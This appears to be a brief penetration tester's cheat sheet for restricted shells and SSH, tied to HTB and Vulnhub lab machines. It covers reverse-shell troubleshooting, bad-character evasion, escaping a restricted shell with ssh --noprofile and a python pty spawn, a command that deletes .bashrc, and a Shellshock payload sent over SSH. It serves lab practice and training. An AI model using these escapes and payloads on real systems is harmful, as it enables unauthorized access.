Restricted Shell / SSH

If reverse shell not working :

• try changing the port to 443 or 80

• try checking for characters breaking the reverse shell

Evading Badchars in a reverse shell (HTB Sense)

• Echo abc

• Echo abc/

• Echo abc -

• Check env variables -> env

• HOME= /

• Echo ${HOME}/home

• Optional (Using ASCII to evade badchars)

• Printf “\55” -> -

Restricted Reverse Shell :

• To disable profiling in /etc/profile and ~/.profile

• Locate ifconfig

• /sbin/ifconfig

• nice /bin/bash

SSH :

// Ways to no profile
ssh hostname -t "bash --noprofile"
ssh -t user@host bash --norc --noprofile
ssh -t username@hostname /bin/sh
ssh -t user@host "bash --norc --noprofile -c '/bin/rm .bashrc'"

// SSH bash shellshock (Troll2 Vulnhub)
ssh -i noob [email protected] '() { :; }; uname -a'

Bypass restricted shell using : (dipak.pdf)

• export PATH=/bin/:sbin/:/usr/bin/:$PATH

• payload = "python -c 'import pty;pty.spawn("/bin/bash")'"
